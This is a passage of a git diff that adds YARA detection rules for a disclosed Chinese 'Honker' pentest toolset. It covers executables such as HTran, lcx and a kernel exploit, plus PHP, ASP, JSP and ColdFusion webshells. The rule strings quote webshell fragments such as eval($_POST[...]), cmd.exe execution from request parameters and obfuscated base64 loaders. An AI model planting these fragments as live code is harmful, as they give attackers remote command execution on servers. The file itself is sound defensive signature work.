+		$s4 = "Team.F4ck.Net" fullword wide
+		$s5 = "admin 123456789" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "blackmoon" fullword ascii
+		$s7 = "f4ck Team" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 4 of them
+}
+
+rule CN_Honker_F4ck_Team_F4ck_3 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file F4ck_3.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0b3e9381930f02e170e484f12233bbeb556f3731"
+		id = "1767669f-47d0-5d6e-97a5-92522f988102"
+	strings:
+		$s1 = "F4ck.exe" fullword wide
+		$s2 = "@Netapi32.dll" fullword ascii
+		$s3 = "Team.F4ck.Net" fullword wide
+		$s6 = "NO Net Add User" fullword wide
+		$s7 = "DLL ERROR" fullword ascii
+		$s11 = "F4ck Team" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 3 of them
+}
+
+rule CN_Honker_ACCESS_brute {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ACCESS_brute.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f552e05facbeb21cb12f23c34bb1881c43e24c34"
+		id = "7ceaea93-4f23-50a3-ab39-8149b10ffdad"
+	strings:
+		$s1 = ".dns166.co" ascii /* PEStudio Blacklist: strings */
+		$s2 = "SExecuteA" ascii /* PEStudio Blacklist: strings */
+		$s3 = "ality/clsCom" ascii
+		$s4 = "NT_SINK_AddRef" ascii
+		$s5 = "WINDOWS\\Syswm" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
+rule CN_Honker_Fpipe_FPipe {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file FPipe.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 50
+		hash = "a2c51c6fa93a3dfa14aaf31fb1c48a3a66a32d11"
+		id = "0d84aa8f-dc15-5bb7-a568-224c6a837685"
+	strings:
+		$s1 = "Unable to create TCP listen socket. %s%d" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "http://www.foundstone.com" fullword ascii
+		$s3 = "%s %s port %d. Address is already in use" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
+rule CN_Honker_Layer_Layer {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Layer.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		modified = "2022-12-21"
+		score = 70
+		hash = "0f4f27e842787cb854bd61f9aca86a63f653eb41"
+		id = "48e27119-da7e-5921-8d4f-f8a1e3ac0439"
+	strings:
+		$s1 = "\\Release\\Layer.pdb" ascii
+		$s2 = "Layer.exe" fullword wide
+		$s3 = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_ms10048_x86 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms10048-x86.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
+		id = "5d572d35-d2e5-5457-89d9-fbce8f8fa552"
+	strings:
+		$s1 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule CN_Honker_HTran2_4 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file HTran2.4.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "524f986692f55620013ab5a06bf942382e64d38a"
+		id = "21cb5ec5-900d-5092-8c2b-2d951289957c"
+	strings:
+		$s1 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[+] New connection %s:%d !!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule CN_Honker_SkinHRootkit_SkinH {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SkinH.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d593f03ae06e54b653c7850c872c0eed459b301f"
+		id = "8aedd01c-9dc8-537d-97ea-bc8de81edd3d"
+	strings:
+		$s0 = "(C)360.cn Inc.All Rights Reserved." fullword wide
+		$s1 = "SDVersion.dll" fullword wide
+		$s2 = "skinh.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker__PostgreSQL_mysql_injectV1_1_Creak_Oracle_SQLServer_inject_Creaked {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
+		hash1 = "a1f066789f48a76023598c5777752c15f91b76b0"
+		hash2 = "0264f4efdba09eaf1e681220ba96de8498ab3580"
+		hash3 = "af3c41756ec8768483a4cf59b2e639994426e2c2"
+		id = "0272776c-8dbe-5345-92c8-57593686a84c"
+	strings:
+		$s1 = "zhaoxypass@yahoo.com.cn" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "ProxyParams.ProxyPort" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+rule CN_Honker__wwwscan_wwwscan_wwwscan_gui {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files wwwscan.exe, wwwscan.exe, wwwscan_gui.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
+		hash1 = "6bed45629c5e54986f2d27cbfc53464108911026"
+		hash2 = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
+		id = "02f80151-4dfb-5b14-9145-312a9bd2c609"
+	strings:
+		$s1 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+		$s2 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker__LPK_LPK_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files LPK.DAT, LPK.DAT, LPK.DAT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "5a1226e73daba516c889328f295e728f07fdf1c3"
+		hash1 = "2b2ab50753006f62965bba83460e3960ca7e1926"
+		hash2 = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
+		id = "e1beb88b-d3e8-5868-affb-e59c26e4dc2e"
+	strings:
+		$s1 = "C:\\WINDOWS\\system32\\cmd.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "Password error!" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\sathc.exe" ascii
+		$s4 = "\\sothc.exe" ascii
+		$s5 = "\\lpksethc.bat" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1057KB and all of them
+}
+
+rule CN_Honker__builder_shift_SkinH {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files builder.exe, shift.exe, SkinH.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "6b5a84cdc3d27c435d49de3f68872d015a5aadfc"
+		hash1 = "ee127c1ea1e3b5bf3d2f8754fabf9d1101ed0ee0"
+		hash2 = "d593f03ae06e54b653c7850c872c0eed459b301f"
+		id = "cb18aa4a-6eba-58ca-a6fc-e4160b90f4d7"
+	strings:
+		$s1 = "lipboard" fullword ascii
+		$s2 = "uxthem" fullword ascii
+		$s3 = "ENIGMA" fullword ascii
+		$s4 = "UtilW0ndow" fullword ascii
+		$s5 = "prog3am" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 6075KB and all of them
+}
+
+rule CN_Honker__lcx_HTran2_4_htran20 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files lcx.exe, HTran2.4.exe, htran20.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
+		hash1 = "524f986692f55620013ab5a06bf942382e64d38a"
+		hash2 = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
+		id = "c6851e7b-ab64-5578-896e-4d92fb3b2000"
+	strings:
+		$s1 = "[SERVER]connection to %s:%d error" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[+] OK! I Closed The Two Socket." fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 440KB and all of them
+}
+
+rule CN_Honker__D_injection_V2_32_D_injection_V2_32_D_injection_V2_32 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files D_injection_V2.32.exe, D_injection_V2.32.exe, D_injection_V2.32.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		hash1 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		hash2 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		id = "79e9cd97-c070-5109-a0a0-bc88eea0dc37"
+	strings:
+		$s1 = "upfile.asp " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[wscript.shell]" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "XP_CMDSHELL" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "[XP_CMDSHELL]" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "http://d99net.3322.org" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 10000KB and 4 of them
+}
diff --git a/yara-Neo23x0/cn_pentestset_webshells.yar b/yara-Neo23x0/cn_pentestset_webshells.yar
new file mode 100644
index 0000000..1a3db19
--- /dev/null
+++ b/yara-Neo23x0/cn_pentestset_webshells.yar
@@ -0,0 +1,1171 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-23
+	Identifier: CN-PentestSet
+*/
+
+rule CN_Honker_Webshell_PHP_php5 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php5.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0fd91b6ad400a857a6a65c8132c39e6a16712f19"
+		id = "ee063c4c-af06-520f-acfe-fba758b84d3c"
+	strings:
+		$s0 = "else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user" ascii /* PEStudio Blacklist: strings */
+		$s20 = "echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump').\"<b>\".$" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x3f3c and filesize < 300KB and all of them
+}
+
+rule CN_Honker_Webshell_test3693 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file test3693.war"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "246d629ae3ad980b5bfe7e941fe90b855155dbfc"
+		id = "58fe4445-b2e1-5d5f-8c46-39c6ae78f845"
+	strings:
+		$s0 = "Process p=Runtime.getRuntime().exec(\"cmd /c \"+strCmd);" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "http://www.topronet.com </font>\",\" <font color=red> Thanks for your support - " ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x4b50 and filesize < 50KB and all of them
+}
+
+rule CN_Honker_Webshell_mycode12 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mycode12.cfm"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "64be8760be5ab5c2dcf829e3f87d3e50b1922f17"
+		id = "2ce7368c-7565-5b32-94d1-c87023404c5b"
+	strings:
+		$s1 = "<cfexecute name=\"cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<cfoutput>#cmd#</cfoutput>" fullword ascii
+	condition:
+		filesize < 4KB and all of them
+}
+
+rule CN_Honker_Webshell_offlibrary {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file offlibrary.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "eb5275f99211106ae10a23b7e565d208a94c402b"
+		id = "c01f7c8b-a6bd-5094-9574-8cc853698607"
+	strings:
+		$s0 = "';$i=$g->query(\"SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING" ascii /* PEStudio Blacklist: strings */
+		$s12 = "if(jushRoot){var script=document.createElement('script');script.src=jushRoot+'ju" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1005KB and all of them
+}
+
+rule CN_Honker_Webshell_cfm_xl {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file xl.cfm"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "49c3d16ee970945367a7d6ae86b7ade7cb3b5447"
+		id = "5c8d1301-fe20-50e0-86ac-99a220cd4be1"
+	strings:
+		$s0 = "<input name=\"DESTINATION\" value=\"" ascii /* PEStudio Blacklist: strings */
+		$s1 = "<CFFILE ACTION=\"Write\" FILE=\"#Form.path#\" OUTPUT=\"#Form.cmd#\">" fullword ascii
+	condition:
+		uint16(0) == 0x433c and filesize < 13KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_linux {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file linux.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "78339abb4e2bb00fe8a012a0a5b7ffce305f4e06"
+		id = "8d94f1c5-2139-5d0d-8af9-9c30a0359910"
+	strings:
+		$s0 = "<form name=form1 action=exploit.php method=post>" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "<title>Changing CHMOD Permissions Exploit " fullword ascii
+	condition:
+		uint16(0) == 0x696c and filesize < 6KB and all of them
+}
+
+rule CN_Honker_Webshell_Interception3389_get {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file get.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ceb6306f6379c2c1634b5058e1894b43abcf0296"
+		id = "b17a793f-ffb7-5cdc-ba21-b0e2f0d14490"
+	strings:
+		$s0 = "userip = Request.ServerVariables(\"HTTP_X_FORWARDED_FOR\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "file.writeline  szTime + \" HostName:\" + szhostname + \" IP:\" + userip+\":\"+n" ascii /* PEStudio Blacklist: strings */
+		$s3 = "set file=fs.OpenTextFile(server.MapPath(\"WinlogonHack.txt\"),8,True)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Webshell_nc_1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file 1.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "51d83961171db000fe4476f36d703ef3de409676"
+		id = "fe83df79-f7cb-50b8-bb34-9bfc5fbe3de2"
+	strings:
+		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 " ascii /* PEStudio Blacklist: agent */
+		$s2 = "<%if session(\"pw\")<>\"go\" then %>" fullword ascii
+	condition:
+		filesize < 11KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_BlackSky {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php6.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a60a599c6c8b6a6c0d9da93201d116af257636d7"
+		id = "741bb4db-6296-5222-8480-1169a6f44fd8"
+	strings:
+		$s0 = "eval(gzinflate(base64_decode('" ascii /* PEStudio Blacklist: strings */
+		$s1 = "B1ac7Sky-->" fullword ascii
+	condition:
+		filesize < 641KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp3 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp3.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
+		id = "0cb01c07-b424-532d-8aef-5ec25dfe3f19"
+	strings:
+		$s1 = "if shellpath=\"\" then shellpath = \"cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "c.open \"GET\", \"http://127.0.0.1:\" & port & \"/M_Schumacher/upadmin/s3\", Tru" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 444KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_sniff {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file sniff.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e246256696be90189e6d50a4ebc880e6d9e28dfd"
+		id = "8cf47d71-1b97-5967-ad70-2ea6fad7cc29"
+	strings:
+		$s1 = "IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "if (!logIt && my_s_smtp && (dport == 25 || sport == 25))" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 91KB and all of them
+}
+
+rule CN_Honker_Webshell_udf_udf {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file udf.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "df63372ccab190f2f1d852f709f6b97a8d9d22b9"
+		id = "07252f2d-1a99-5f21-940d-899a4821b511"
+	strings:
+		$s1 = "<?php // Source  My : Meiam  " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 430KB and all of them
+}
+
+rule CN_Honker_Webshell_JSP_jsp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jsp.html"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c58fed3d3d1e82e5591509b04ed09cb3675dc33a"
+		id = "46f2fb10-2c0c-5bc2-b3bb-eba4c74bcad7"
+	strings:
+		$s1 = "<input name=f size=30 value=shell.jsp>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<font color=red>www.i0day.com  By:" fullword ascii
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Webshell_T00ls_Lpk_Sethc_v4_mail {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mail.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0a9b7b438591ee78ee573028cbb805a9dbb9da96"
+		id = "2f7d8a4d-9d94-5f23-9768-cc3712678d93"
+	strings:
+		$s1 = "if (!$this->smtp_putcmd(\"AUTH LOGIN\", base64_encode($this->user)))" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$this->smtp_debug(\"> \".$cmd.\"\\n\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 39KB and all of them
+}
+
+rule CN_Honker_Webshell_phpwebbackup {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file phpwebbackup.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c788cb280b7ad0429313837082fe84e9a49efab6"
+		id = "eb737ea6-231c-5e8d-b976-75f1044f9f54"
+	strings:
+		$s0 = "<?php // Code By isosky www.nbst.org" fullword ascii
+		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x3f3c and filesize < 67KB and all of them
+}
+
+rule CN_Honker_Webshell_dz_phpcms_phpbb {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file dz_phpcms_phpbb.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "33f23c41df452f8ca2768545ac6e740f30c44d1f"
+		id = "f7e5413f-a7c9-51d4-8422-30c3e2462be2"
+	strings:
+		$s1 = "if($pwd == md5(md5($password).$salt))" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "function test_1($password)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = ":\".$pwd.\"\\n---------------------------------\\n\";exit;" fullword ascii
+		$s4 = ":user=\".$user.\"\\n\";echo \"pwd=\".$pwd.\"\\n\";echo \"salt=\".$salt.\"\\n\";" fullword ascii
+	condition:
+		filesize < 22KB and all of them
+}
+
+rule CN_Honker_Webshell_picloaked_1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file 1.gif"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3eab1798cbc9ab3b2c67d3da7b418d07e775db70"
+		id = "2ff44c4a-ed97-5635-9926-8d54a8364fab"
+	strings:
+		$s0 = "<?php eval($_POST[" ascii /* PEStudio Blacklist: strings */
+		$s1 = ";<%execute(request(" ascii /* PEStudio Blacklist: strings */
+		$s3 = "GIF89a" fullword ascii /* Goodware String - occured 318 times */
+	condition:
+		filesize < 6KB and 2 of them
+}
+
+rule CN_Honker_Webshell_assembly {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file assembly.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2bcb4d22758b20df6b9135d3fb3c8f35a9d9028e"
+		id = "7639e81d-fe21-5a12-9a20-fe894eefef73"
+	strings:
+		$s0 = "response.write oScriptlhn.exec(\"cmd.exe /c\" & request(\"c\")).stdout.readall" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php8 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php8.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b7b49f1d6645865691eccd025e140c521ff01cce"
+		id = "8b25b7f3-b94e-5887-b102-b52d340a4316"
+	strings:
+		$s0 = "<a href=\"http://hi.baidu.com/ca3tie1/home\" target=\"_blank\">Ca3tie1's Blog</a" ascii /* PEStudio Blacklist: strings */
+		$s1 = "function startfile($path = 'dodo.zip')" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<form name=\"myform\" method=\"post\" action=\"\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "$_REQUEST[zipname] = \"dodozip.zip\"; " fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 25KB and 2 of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_xx {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file xx.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2f39f1d9846ae72fc673f9166536dc21d8f396aa"
+		id = "72a04950-b82d-516f-a376-5253b7de1158"
+	strings:
+		$s0 = "$mysql.=\"insert into `$table`($keys) values($vals);\\r\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$mysql_link=@mysql_connect($mysql_servername , $mysql_username , $mysql_password" ascii /* PEStudio Blacklist: strings */
+		$s16 = "mysql_query(\"SET NAMES gbk\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 2KB and all of them
+}
+
+rule CN_Honker_Webshell_JSPMSSQL {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file JSPMSSQL.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c6b4faecd743d151fe0a4634e37c9a5f6533655f"
+		id = "061c1e53-edd0-5838-8d0f-6fb8f4fa078a"
+	strings:
+		$s1 = "<form action=\"?action=operator&cmd=execute\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "String sql = request.getParameter(\"sqlcmd\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
